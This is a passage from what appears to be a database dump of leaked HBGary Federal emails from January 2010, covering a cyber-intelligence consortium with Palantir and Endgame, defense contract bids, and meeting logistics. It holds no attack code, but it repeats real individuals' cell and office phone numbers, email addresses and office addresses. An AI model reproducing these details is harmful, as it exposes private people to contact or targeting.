organizational and\r\ncontractual impedance\'s from bringing together the necessary pieces to\r\nenhance our cybersecurity. &nbsp;So it occured to me, why not do for cyber\r\nintelligence what Space-X did for space exploration and satellite\r\ndeployments. &nbsp;Forget the bureaucracy, develop the complete solution\r\nexternally from the mad house. &nbsp;The individual products from these\r\ncompanies alone are significant, imagine what can be produced once we\r\nintegrate them.\r\n\r\nWhat do you think?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15025,'aaron_hbgary_com/15025.html'),(1483,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000435.M801501P3547Q1483.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Slides for Tomorrow','Shit sorry.  I forgot I created it in Apples Keynote.\r\n\r\nHere you go.\r\n\r\n',15663,'aaron_hbgary_com/15663.html'),(1484,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000436.M766915P3547Q1484.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Slides for Tomorrow','Do you want to meet early today or are you booked?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 26, 2010, at 4:42 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Aaron,\r\n> What is the .key file?  Windows thinks it is a reg file but cannot open\r\n> it.  Is it a ppt?\r\n> \r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, January 25, 2010 11:57 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Slides for Tomorrow\r\n> \r\n> Brian,\r\n> \r\n> Attached are some slides I was putting together for tomorrows meeting.\r\n> Still rough, let me know what you think.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6515,'aaron_hbgary_com/6515.html'),(1485,'2010-01-26','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000436.M940501P3547Q1485.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Slides for Tomorrow','Sorry Aaron.  I am booked.  I will be up at BWI til noon then speed run\r\ndown to you.\r\nI have tonight after out meetings or I can meet tomorrow.  I have a 9AM,\r\nI could sit in a telecom at 11AM then need to be at Millersville at 3.\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 7:44 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Slides for Tomorrow\r\n\r\nDo you want to meet early today or are you booked?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 26, 2010, at 4:42 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Aaron,\r\n> What is the .key file?  Windows thinks it is a reg file but cannot\r\nopen\r\n> it.  Is it a ppt?\r\n> \r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, January 25, 2010 11:57 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Slides for Tomorrow\r\n> \r\n> Brian,\r\n> \r\n> Attached are some slides I was putting together for tomorrows meeting.\r\n> Still rough, let me know what you think.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8327,'aaron_hbgary_com/8327.html'),(1486,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000437.M111555P3547Q1486.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Schedule Interview with The 451 Group analyst Paul Roberts','Karen,Thanks. &nbsp;I am checking if Palantir can support this. &nbsp;I would like to do this interview and can support in the nexst few days.As I mentioned to you, today is our kickoff meeting for our Cyber Intelligence Consortium, where I am bringing the best of breed companies together to develop a full-spectrum cyber intelligence capability. &nbsp;I am getting very positive feedback from folks I talk to you about this endeavor. &nbsp; So I would like to work with you to develop the next press release for this effort.I think we should have the Operating agreement signed today and have worked some initial numbers, or should I say Ted worked in some initial numbers of hours for your support. &nbsp;I should be able to discuss that with you today or tomorrow.Thanks,AaronOn Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst,&nbsp;would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.&nbsp;&nbsp;\r\n&nbsp;\r\nBackground: Penny and Greg Hoglund recently did a corporate&nbsp;update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a&nbsp;brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing&nbsp; note; or blog about on his 451 Group blog, Plausible Deniability.\r\n&nbsp;\r\nPlease let me know how you want to pursue. Best, Karen\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2612,'aaron_hbgary_com/2612.html'),(1487,'2010-01-26','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297000437.M298214P3547Q1487.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Virtual Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; \r\n\r\n&nbsp;\r\n\r\nThanks for the note back.&nbsp; This week is a bit crazy,&nbsp;\r\nhow about next ?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, January 25, 2010 11:29 PM\r\nTo: Mulville, Michael E.\r\nSubject: Re: Virtual Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI actually didn\'t head out to DC3. &nbsp;I will be out in\r\nColorado Springs most of next week. &nbsp;How does your week this week look.\r\n&nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt &#8211;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for the introduction.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron, I&#8217;m meeting up with Bob Slapnik shortly to discuss\r\nneeds, and direction.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI assuming your headed out to the DC3 show in St. Louis, but\r\nmight be a good idea to meet up, upon your return.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks &#8211; Mike Mulville\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matt O\'Flynn\r\n[mailto:matt@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, January\r\n21, 2010 1:50 PM\r\nTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron\r\nBarr\'\r\nSubject:&nbsp;Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n&amp; Michael,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nseeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our\r\nsubsidiary who is specializing in the services we discussed. See contact info\r\nbelow. Hopefully you will find one another&#8217;s capabilities very\r\ncomplementary.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n719-510-8478-Cell\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike\r\nMulville\r\n\r\n\r\n\r\n\r\n\r\n703-622-9121\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMichael\r\nCourtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n443-306-5683\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\nO\'Flynn\r\n\r\n\r\n\r\n\r\n\r\n954-559-6934\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14639,'aaron_hbgary_com/14639.html'),(1488,'2010-01-26','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000437.M486680P3547Q1488.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: palantir+hbgary','Aaron,Chris wanted me to pass this along. We\'ve been very careful NOT to have public face on our company. Please ensure Palantir and your other partners understand we\'re purposefully trying to maintain a very low profile. Chris is very cautious based on feedback we\'ve received from our government clients. If you want to reconsider working with us based on this, we fully understand.I\'ll see you at 1300 today. ThanksJohnPlease let HBgary know we don\'t ever want to see our name in a press release. &nbsp;--Chris Roulandchris@endgames.us------Original Message------From: Daniel IngevaldsonTo: Chris RoulandTo: David MilesSubject: palantir+hbgarySent: Jan 26, 2010 2:44 AMhttp://www.darkreading.com/securityservices/security/cybercrime/showArticle.jhtml?articleID=222400540\r\nJohn M. FarrellVice PresidentEndgame Systems1940 Duke Street Suite 200Alexandria, VA 22314(703) 622-9025\r\n\r\n',5686,'aaron_hbgary_com/5686.html'),(1489,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000437.M680047P3547Q1489.eml','\"John Farrell\" <john@endgames.us>','Re: palantir+hbgary','John,No worries. &nbsp;I completely understand. &nbsp;The solution is what is important and you guys play an integral part in that. &nbsp;I will make sure your a \"silent\" partner and will ensure we are careful about such sensitivities going forward.That is one of the goals of todays meeting is to get various concerns comments from the other partners. &nbsp;It will be my responsibility to manage those going forward as each of our companies has immediate goals and relationships that take priority. &nbsp;In the end if we manage this right it will be a big win for all of us. &nbsp;So you tell me how you want to participate and we will work it out...again main thing is we get access to your capabilities and data for integration into the solution.AaronOn Jan 26, 2010, at 8:54 AM, John Farrell wrote:Aaron,Chris wanted me to pass this along. We\'ve been very careful NOT to have public face on our company. Please ensure Palantir and your other partners understand we\'re purposefully trying to maintain a very low profile. Chris is very cautious based on feedback we\'ve received from our government clients. If you want to reconsider working with us based on this, we fully understand.I\'ll see you at 1300 today. ThanksJohnPlease let HBgary know we don\'t ever want to see our name in a press release. &nbsp;--Chris Roulandchris@endgames.us------Original Message------From: Daniel IngevaldsonTo: Chris RoulandTo: David MilesSubject: palantir+hbgarySent: Jan 26, 2010 2:44 AMhttp://www.darkreading.com/securityservices/security/cybercrime/showArticle.jhtml?articleID=222400540\r\nJohn M. FarrellVice PresidentEndgame Systems1940 Duke Street Suite 200Alexandria, VA 22314(703) 622-9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12878,'aaron_hbgary_com/12878.html'),(1490,'2010-01-26','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000437.M999171P3547Q1490.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: AF BAA','I checked with Chris and Ray. It turns out we responded to last year\'s BAA NWOC from the same organization with another partner. They want to remain loyal to this partner if they decide to make a submission this year.I think you should meet/talk with Chris next week while he\'s in DC to discuss your consortium approach. Before we move ahead to far, I want to ensure they have full understanding of what\'s involved. I can work this into their calendar. Let me know your availability on 2/2. ThanksJohn&nbsp;On Jan 25, 2010, at 11:27 PM, Aaron Barr wrote:I agree. &nbsp;That one is in FBO under&nbsp;N66001-10-X-0012.I think the NWOC one is more a just HBGary, EGS, maybe Xetron offering.the C4ISR BAA I think would be a good fit for our consortium capabilities.What do you think?AaronOn Jan 25, 2010, at 10:53 AM, John Farrell wrote:i have not seen this one yet. I will review and let you know. Of course, we would be very interested in responding as part of your team.Have you seen this attached BAA? Might be another one where we could team up.thanks&lt;SSC ATLANTIC BAA NO BIDS 8 DEC 09 DLK.doc&gt;On Jan 25, 2010, at 10:46 AM, Aaron Barr wrote:Hey John,Are you guys responding to this? &nbsp;Want to go after it together? &nbsp;I picture a combined capability with yours, what HBGary can do and the IO stuff I talked to you about. &nbsp;Seems like a good combination.&lt;NWOC_BAA_10_0001.pdf&gt;Aaron BarrCEOHBGary Federal Inc.John M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n',5651,'aaron_hbgary_com/5651.html'),(1491,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000438.M181423P3547Q1491.eml','\"John Farrell\" <john@endgames.us>','Re: palantir+hbgary','One more thing...the press release was completely vetted with Palantir before we submitted it. &nbsp;We would not public announce a partnership without going through the other company first.AaronOn Jan 26, 2010, at 8:54 AM, John Farrell wrote:Aaron,Chris wanted me to pass this along. We\'ve been very careful NOT to have public face on our company. Please ensure Palantir and your other partners understand we\'re purposefully trying to maintain a very low profile. Chris is very cautious based on feedback we\'ve received from our government clients. If you want to reconsider working with us based on this, we fully understand.I\'ll see you at 1300 today. ThanksJohnPlease let HBgary know we don\'t ever want to see our name in a press release. &nbsp;--Chris Roulandchris@endgames.us------Original Message------From: Daniel IngevaldsonTo: Chris RoulandTo: David MilesSubject: palantir+hbgarySent: Jan 26, 2010 2:44 AMhttp://www.darkreading.com/securityservices/security/cybercrime/showArticle.jhtml?articleID=222400540\r\nJohn M. FarrellVice PresidentEndgame Systems1940 Duke Street Suite 200Alexandria, VA 22314(703) 622-9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8129,'aaron_hbgary_com/8129.html'),(1492,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000438.M369694P3547Q1492.eml','\"John Farrell\" <john@endgames.us>','Re: AF BAA','Sure makes sense.Damn the luck. &nbsp;I am going to be in Colorado Springs early next week. &nbsp;I return on the 3rd. &nbsp;Maybe Chris and I can catch up via phone until his next trip. &nbsp;Do you think Chris is a little nervous about participating in the consortium?AaronOn Jan 26, 2010, at 9:04 AM, John Farrell wrote:I checked with Chris and Ray. It turns out we responded to last year\'s BAA NWOC from the same organization with another partner. They want to remain loyal to this partner if they decide to make a submission this year.I think you should meet/talk with Chris next week while he\'s in DC to discuss your consortium approach. Before we move ahead to far, I want to ensure they have full understanding of what\'s involved. I can work this into their calendar. Let me know your availability on 2/2. ThanksJohn&nbsp;On Jan 25, 2010, at 11:27 PM, Aaron Barr wrote:I agree. &nbsp;That one is in FBO under&nbsp;N66001-10-X-0012.I think the NWOC one is more a just HBGary, EGS, maybe Xetron offering.the C4ISR BAA I think would be a good fit for our consortium capabilities.What do you think?AaronOn Jan 25, 2010, at 10:53 AM, John Farrell wrote:i have not seen this one yet. I will review and let you know. Of course, we would be very interested in responding as part of your team.Have you seen this attached BAA? Might be another one where we could team up.thanks&lt;SSC ATLANTIC BAA NO BIDS 8 DEC 09 DLK.doc&gt;On Jan 25, 2010, at 10:46 AM, Aaron Barr wrote:Hey John,Are you guys responding to this? &nbsp;Want to go after it together? &nbsp;I picture a combined capability with yours, what HBGary can do and the IO stuff I talked to you about. &nbsp;Seems like a good combination.&lt;NWOC_BAA_10_0001.pdf&gt;Aaron BarrCEOHBGary Federal Inc.John M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2812,'aaron_hbgary_com/2812.html'),(1493,'2010-01-26','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000438.M547964P3547Q1493.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: palantir+hbgary','I\'m just the messenger. i understand perfectly.JohnOn Jan 26, 2010, at 9:10 AM, Aaron Barr wrote:One more thing...the press release was completely vetted with Palantir before we submitted it. &nbsp;We would not public announce a partnership without going through the other company first.AaronOn Jan 26, 2010, at 8:54 AM, John Farrell wrote:Aaron,Chris wanted me to pass this along. We\'ve been very careful NOT to have public face on our company. Please ensure Palantir and your other partners understand we\'re purposefully trying to maintain a very low profile. Chris is very cautious based on feedback we\'ve received from our government clients. If you want to reconsider working with us based on this, we fully understand.I\'ll see you at 1300 today. ThanksJohnPlease let HBgary know we don\'t ever want to see our name in a press release. &nbsp;--Chris Roulandchris@endgames.us------Original Message------From: Daniel IngevaldsonTo: Chris RoulandTo: David MilesSubject: palantir+hbgarySent: Jan 26, 2010 2:44 AMhttp://www.darkreading.com/securityservices/security/cybercrime/showArticle.jhtml?articleID=222400540\r\nJohn M. FarrellVice PresidentEndgame Systems1940 Duke Street Suite 200Alexandria, VA 22314(703) 622-9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M. FarrellVice PresidentEndgame Systems1940 Duke Street Suite 200Alexandria, VA 22314(703) 622-9025\r\n\r\n',16440,'aaron_hbgary_com/16440.html'),(1494,'2010-01-26','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000438.M730802P3547Q1494.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: AF BAA','anything new is a bit uncertain until you build trust with your partners. I think you need to make sure he understands your plans. we\'re very cautious based on the kind of work we\'re doing. It only takes one slip and we\'re done.Here\'s a good example of another company that backfired on them:http://www.nytimes.com/2009/05/31/us/31cyber.htmlwhat time do you return on the 3rd? chris leaves from DCA at 6pm.On Jan 26, 2010, at 9:10 AM, Aaron Barr wrote:Sure makes sense.Damn the luck. &nbsp;I am going to be in Colorado Springs early next week. &nbsp;I return on the 3rd. &nbsp;Maybe Chris and I can catch up via phone until his next trip. &nbsp;Do you think Chris is a little nervous about participating in the consortium?AaronOn Jan 26, 2010, at 9:04 AM, John Farrell wrote:I checked with Chris and Ray. It turns out we responded to last year\'s BAA NWOC from the same organization with another partner. They want to remain loyal to this partner if they decide to make a submission this year.I think you should meet/talk with Chris next week while he\'s in DC to discuss your consortium approach. Before we move ahead to far, I want to ensure they have full understanding of what\'s involved. I can work this into their calendar. Let me know your availability on 2/2. ThanksJohn&nbsp;On Jan 25, 2010, at 11:27 PM, Aaron Barr wrote:I agree. &nbsp;That one is in FBO under&nbsp;N66001-10-X-0012.I think the NWOC one is more a just HBGary, EGS, maybe Xetron offering.the C4ISR BAA I think would be a good fit for our consortium capabilities.What do you think?AaronOn Jan 25, 2010, at 10:53 AM, John Farrell wrote:i have not seen this one yet. I will review and let you know. Of course, we would be very interested in responding as part of your team.Have you seen this attached BAA? Might be another one where we could team up.thanks&lt;SSC ATLANTIC BAA NO BIDS 8 DEC 09 DLK.doc&gt;On Jan 25, 2010, at 10:46 AM, Aaron Barr wrote:Hey John,Are you guys responding to this? &nbsp;Want to go after it together? &nbsp;I picture a combined capability with yours, what HBGary can do and the IO stuff I talked to you about. &nbsp;Seems like a good combination.&lt;NWOC_BAA_10_0001.pdf&gt;Aaron BarrCEOHBGary Federal Inc.John M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M FarrellVP Federal&nbsp;Endgame Systems75 5th Street Suite 208Atlanta, GA 30308john@endgames.us\r\n\r\n',6589,'aaron_hbgary_com/6589.html'),(1495,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000444.M962506P3547Q1495.eml','\"Bill Hornish\" <bhornish@splunk.com>,\"Brian Masterson\" <Brian.Masterson@ngc.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Brian Girardi\" <brian@netwitness.com>,\"John Farrell\" <john@endgames.us>,\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Rich Cummings\" <rich@hbgary.com>','Slides','All,\r\n\r\nAttached are some initial slides for today.  Please provide feedback, other information you might want included, etc.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15095,'aaron_hbgary_com/15095.html'),(1496,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000445.M329138P3547Q1496.eml','\"Bob Slapnik\" <bob@hbgary.com>','Meeting','Palantir Office 7th Floor, 8300 Greensboro Dr Tysons Corner, VA 22102\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',203,'aaron_hbgary_com/203.html'),(1497,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000445.M539537P3547Q1497.eml','\"John Farrell\" <john@endgames.us>','Re: AF BAA','Completely understand. &nbsp;Similar to the capability I talked to you about that I had built and am building again. &nbsp;If that were to be publicly known I would no longer be in that business. &nbsp;Again, you guys let me know how you want to participate in the group and we will work it out.Agreed just cause theres a group, theres a lot of trust and growing issues now to deal with to make this a functioning team. &nbsp;Good challenges.I don\'t get back until 9pm. &nbsp;I have a meeting with ARSTRAT in the morning on the third. &nbsp;They are working on plans for ARCYBER and what will be parsed between 1st IO and INSCOM. &nbsp;If its ok I definitely want to add your capability to our discussion. &nbsp;We have already pitched them the idea of a threat intelligence center, they like it and are trying to figure out how to fund it, looking for a contract vehicle.We have a couple of other options for partnering for the NWOC work, but I would rather partner with you guys. &nbsp;Not sure if there is any room to add a capability on your existing team. &nbsp;We can maybe talk a little more about this, if not, no worries. &nbsp;Regardless, I definitely want to pursue putting together your capability with our commercial capabilities.AaronOn Jan 26, 2010, at 9:25 AM, John Farrell wrote:anything new is a bit uncertain until you build trust with your partners. I think you need to make sure he understands your plans. we\'re very cautious based on the kind of work we\'re doing. It only takes one slip and we\'re done.Here\'s a good example of another company that backfired on them:http://www.nytimes.com/2009/05/31/us/31cyber.htmlwhat time do you return on the 3rd? chris leaves from DCA at 6pm.On Jan 26, 2010, at 9:10 AM, Aaron Barr wrote:Sure makes sense.Damn the luck. &nbsp;I am going to be in Colorado Springs early next week. &nbsp;I return on the 3rd. &nbsp;Maybe Chris and I can catch up via phone until his next trip. &nbsp;Do you think Chris is a little nervous about participating in the consortium?AaronOn Jan 26, 2010, at 9:04 AM, John Farrell wrote:I checked with Chris and Ray. It turns out we responded to last year\'s BAA NWOC from the same organization with another partner. They want to remain loyal to this partner if they decide to make a submission this year.I think you should meet/talk with Chris next week while he\'s in DC to discuss your consortium approach. Before we move ahead to far, I want to ensure they have full understanding of what\'s involved. I can work this into their calendar. Let me know your availability on 2/2. ThanksJohn&nbsp;On Jan 25, 2010, at 11:27 PM, Aaron Barr wrote:I agree. &nbsp;That one is in FBO under&nbsp;N66001-10-X-0012.I think the NWOC one is more a just HBGary, EGS, maybe Xetron offering.the C4ISR BAA I think would be a good fit for our consortium capabilities.What do you think?AaronOn Jan 25, 2010, at 10:53 AM, John Farrell wrote:i have not seen this one yet. I will review and let you know. Of course, we would be very interested in responding as part of your team.Have you seen this attached BAA? Might be another one where we could team up.thanks&lt;SSC ATLANTIC BAA NO BIDS 8 DEC 09 DLK.doc&gt;On Jan 25, 2010, at 10:46 AM, Aaron Barr wrote:Hey John,Are you guys responding to this? &nbsp;Want to go after it together? &nbsp;I picture a combined capability with yours, what HBGary can do and the IO stuff I talked to you about. &nbsp;Seems like a good combination.&lt;NWOC_BAA_10_0001.pdf&gt;Aaron BarrCEOHBGary Federal Inc.John M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M FarrellVP Federal&nbsp;Endgame Systems75 5th Street Suite 208Atlanta, GA 30308john@endgames.us\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13005,'aaron_hbgary_com/13005.html'),(1498,'2010-01-26','\"HQ Meeting Room Reservations\" <john.pedraza@regus.com>','/aaron@hbgary.com/new/1297000445.M773798P3547Q1498.eml','aaron@hbgary.com','HQ Meeting Room Confirmed Booking 8591122','\r\n			.Wrapper {width:600px;padding:3px;font-family:Tahoma;font-size:10pt}\r\n			.Heading {width:100%;background-color:#E0E0E0;color:#000000;font-weight:bold;padding:3px}\r\n			.Held {font-weight: bold;text-align:center}\r\n			.InvoiceFooter {font-weight: bold;text-align:center}\r\n\r\n			TABLE {border-collapse:collapse; font-size:10pt}\r\n			TABLE TD, TABLE TH {font-size:10pt}\r\n			TABLE TD {font-weight:normal}\r\n			TABLE TH {font-weight:bold;text-align:left}\r\n\r\n			TH, TD {padding:1px}\r\n			.TblD TD {width: 160px}\r\n\r\n			.TblS {width:98%}\r\n			.TblS TH {font-weight:bold}\r\n			.TblS TR.Hdr TD, .TblS TR.TTl TD {white-space:nowrap;font-weight:bold}\r\n			.TblS TD {font-weight:normal;vertical-align:top}\r\n			.TblS TR.GT TH {font-size: 120%}\r\n			.TblS TD, .TblS.TH {border:1px solid #C0C0C0;padding:3px}\r\n			.TblS TR.TTl TD {border-width:1px 0px 0px 0px}\r\n			ul {list-style-image:none;margin:0px}\r\n			ul li {font-size:8pt;list-style-image:disc;margin-left:32px}\r\n			ul li.Hdr {list-style-image:none;margin:0px}\r\n\r\n			div.RS , div.RE {border-color:#C0C0C0;border-style:solid;width:100%;height:3px;font-size:1px;margin:6px 0px 6px 0px}\r\n			div.RS {border-width: 1px 1px 0px 1px}\r\n			div.RE {border-width: 0px 1px 1px 1px}\r\n\r\n			div.Indent{padding: 0px 6px 0px 6px}\r\n\r\n			.Notes {font-size:8pt;font-style:italic;}\r\n		Thank you for confirming your booking with HQ. We are delighted to have the opportunity to help. Please find below your booking details.Confirmed Booking SummaryREFERENCE:\r\n				8591122Center:\r\n				VA, McLean - Corporate Ridge (HQ)Client:\r\n				HB GaryMeeting Room Details Start Date:\r\n						Tuesday, January 26, 2010Start Time:\r\n						1:00 PMEnd Date:\r\n						Tuesday, January 26, 2010End Time:\r\n						3:00 PMDelegates:\r\n						5Room Layout:\r\n							BoardroomWe are pleased to provide further information on the following services as requested:\r\n					QtyServiceRatePrice1Meeting Room (Room Rate)Includes 10.00% Discount$136.80$136.80TOTAL$136.80 Due to limited availability, and as a courtesy to other customers, we ask that you notify us if you no longer require the booking on the requested dates.* Please Note - prices do not include local tax. The price quoted excludes any prepayment.Please use the following details to contact us:\r\n		Booker:\r\n					John PedrazaPhone:\r\n				001 877-734-8787Email:\r\n				americas.reservations@regus.comFax:\r\n				001 214-295-3171HQ Location 